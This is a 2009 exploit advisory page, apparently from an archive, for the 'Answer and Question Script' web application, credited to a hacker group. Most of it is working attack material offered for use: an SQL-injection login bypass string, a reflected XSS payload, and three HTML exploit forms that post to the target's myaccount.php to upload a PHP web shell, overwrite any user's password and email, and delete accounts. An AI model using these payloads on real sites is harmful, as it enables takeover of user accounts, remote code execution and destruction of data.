Easy Scripts Answer and Question Script Multiple Vulnerabilities

2009.05.18

Credit: Cyb3r-1sT

Risk: High

Local: No

Remote: Yes

CVE: CVE-2009-1654 | CVE-2009-1655 | CVE-2009-1663 | CVE-2009-1664 | CVE-2009-1665

CWE: CWE-79
NVD-CWE-Other
CWE-287
CWE-264

                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================

<<->> script   :: Answer and Question Script

<<->> download :: 
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================

<<->> Exploit :: 
 
    ... bypass sql injection ...
        goto login section .. and put in user name ' or 1=1-- and in pass ' or 1=1-- 

    ... XSS ... 
        www.cyb3r.1st/ [path] / questiondetail.php?questionid="><script>alert(1)</script>


=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================

<<->> All freinds , [ www.tryag.com ] , [ www.7rs.org ] , [ www.sec-code.com ]

######################################################################################################################
Upload Vulnerability
######################################################################################################################
<html dir="rtl">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Cyb3R-1sT</title>
</head>
<script language="javascript">
function frmCr()
{
document.frmCrRegister.action=document.frmCrRegister.siteurl.value+'/myaccount.php';
document.frmCrRegister.submit();
}
</script>
<form  method="post" enctype="multipart/form-data" name="frmCrRegister" onSubmit="return frontcreateaccount();">
<body bgcolor="#000000">
<p align="center"><b><font size="6" color="#996633">Cyb3R-1sT</font></b></p>
<p align="center"><font color="#808000" size="4" face="Times New Roman">cyb3r-1st [at ] 
	hotmail.com</font></p>
<p align="center"><font size="5" color="#C0C0C0">Inject0r5 Team</font></p>
<p dir="ltr" align="center"><font size="5" color="#808000">: Sp.Greetz : </font>
</p>
<p align="center" dir="ltr"><font color="#808080" style="font-size: 15pt">All freinds . 
M~Carezma . [ www.tryag.com ] . [ www.7rs.org ] . [ www.sec-code.com ]</font></p>
<div align="center">
	<p dir="ltr"><font color="#333399" size="6">: Exploit :</font></p>
	<p dir="ltr"><font size="4" color="#008000">Answer and Question Script 
	Remote Shell Upload Vulnerability</font></p>
	<table border="1" width="76%" bordercolorlight="#008080" bordercolordark="#006666">
		<tr>
			<td>
			<p align="left">&nbsp;</p>
			<p align="left" dir="ltr"><font color="#FFFFFF">&nbsp;
			<font size="4">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
			Site :&nbsp;&nbsp;&nbsp;&nbsp;
			<input name="siteurl" type="text" value="http://" size="40"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
			User-id :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
			<input type="text" name="userid" id="userid" value="" size="20" /><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
			Shell :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
			<input type="file" name="txtphoto" id="txtphoto" value="Sunset.jpg" size="23" /></font></font><br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
			<input type="submit" name="cmdUpdate" id="cmdUpdate" value="Update" onclick="frmCr()">&nbsp;&nbsp;&nbsp;</p>
			<p align="center" dir="ltr"><font size="4" color="#808080">Note : ur 
			shell will be here :- http://Cyb3R-1sT.com/uploads/user/shell.php</font></p>
			<p align="left" dir="ltr">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
			</p>
			</td>
		</tr>
	</table>
	</div>
</body>

</html>
######################################################################################################################
Change Passwords
######################################################################################################################
<html dir="rtl">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Cyb3R-1sT</title>
</head>
<script language="javascript">
function frmCr()
{
document.frmCrRegister.action=document.frmCrRegister.siteurl.value+'/myaccount.php';
document.frmCrRegister.submit();
}
</script>
<form  method="post" enctype="multipart/form-data" name="frmCrRegister" onSubmit="return frontcreateaccount();">
<body bgcolor="#000000">
<p align="center"><b><font size="6" color="#996633">Cyb3R-1sT</font></b></p>
<p align="center"><font color="#808000" size="4" face="Times New Roman">cyb3r-1st [at ] 
	hotmail.com</font></p>
<p align="center"><font size="5" color="#C0C0C0">Inject0r5 Team</font></p>
<p dir="ltr" align="center"><font size="5" color="#808000">: Sp.Greetz : </font>
</p>
<p align="center" dir="ltr"><font color="#808080" style="font-size: 15pt">All 
freinds . M~Carezma . [ www.tryag.com ] . [ www.7rs.org ] . [ www.sec-code.com ]</font><font color="#808080" size="5">
</font></p>
<p align="center">&nbsp;</p>
<div align="center">
	<p dir="ltr"><font color="#333399" size="6">: Exploit :</font></p>
	<p dir="ltr"><font size="4" color="#008000">Answer and Question Script 
	Remote User Options Changer Exploit</font></p>
	<table border="1" width="75%" bordercolorlight="#008080" bordercolordark="#006666">
		<tr>
			<td>
			<p align="left">&nbsp;</p>
			<p align="left" dir="ltr"><font color="#FFFFFF">&nbsp;
			<font size="4">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
			Site :&nbsp;&nbsp;&nbsp;&nbsp;
			<input name="siteurl" type="text" value="http://" size="40"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
			Username :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
			<input type="text" name="txtusername" value="" size="20"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
			User-id :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
			<input type="text" name="userid" id="userid" value="" size="20" /><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
			Password :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
			<input type="password" name="txtpassword" value="" size="20"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
			Re-Type Password :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
			<input type="password" name="txtRpassword" value="" size="20"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
			E-Mail :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font></font>
			<input name="txtmail" type="text" value="" size="36"><br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
			<input type="submit" name="cmdUpdate" id="cmdUpdate" value="Update" onclick="frmCr()">&nbsp;&nbsp;&nbsp;</p>
			<p align="left" dir="ltr">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
			</p>
			</td>
		</tr>
	</table>
	</div>
</body>

</html>
######################################################################################################################
Remove Accounts
######################################################################################################################
<html dir="rtl">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Cyb3R-1sT</title>
</head>
<script language="javascript">
function frmCr()
{
document.frmCrRegister.action=document.frmCrRegister.siteurl.value+'/myaccount.php';
document.frmCrRegister.submit();
}
</script>
<form  method="post" enctype="multipart/form-data" name="frmCrRegister" onSubmit="return frontcreateaccount();">
<head>
<body bgcolor="#000000">
<p align="center"><b><font size="6" color="#996633">Cyb3R-1sT</font></b></p>
<p align="center"><font color="#808000" size="4" face="Times New Roman">cyb3r-1st [at ] 
	hotmail.com</font></p>
<p align="center"><font size="5" color="#C0C0C0">Inject0r5 Team</font></p>
<p dir="ltr" align="center"><font size="5" color="#808000">: Sp.Greetz : </font>
</p>
<p align="center" dir="ltr"><font color="#808080" style="font-size: 15pt">All 
freinds . M~Carezma . [ www.tryag.com ] . [ www.7rs.org ] . [ www.sec-code.com ]</font><font color="#808080" size="5">&nbsp; </font></p>
<p align="center">&nbsp;</p>
<div align="center">
	<p dir="ltr"><font color="#333399" size="6">: Exploit :</font></p>
	<p dir="ltr"><font color="#008000" size="4">Answer and Question Script 
	remove user Vulnerability</font></p>
	<table border="1" width="77%" bordercolorlight="#008080" bordercolordark="#006666">
		<tr>
			<td>
			<p align="left">&nbsp;</p>
			<p align="left" dir="ltr"><font color="#FFFFFF">&nbsp;
			<font size="4">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
			Site :&nbsp;&nbsp;&nbsp;&nbsp;
			<input name="siteurl" type="text" value="http://" size="40"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
			User-id :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
			<input type="text" name="userid" id="userid" value="" size="20" /><br></font></font><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
			<input type="submit" name="cmdUpdate" id="cmdUpdate" value="Update" onclick="frmCr()">&nbsp;</p>
			<p align="left" dir="ltr">&nbsp;</p>
			</td>
		</tr>
	</table>
	</div>
</body>

</html>

Referencje:

http://www.securityfocus.com/bid/34975

http://www.milw0rm.com/exploits/8690

http://secunia.com/advisories/35067

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Easy Scripts Answer and Question Script Multiple Vulnerabilities

Referencje:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.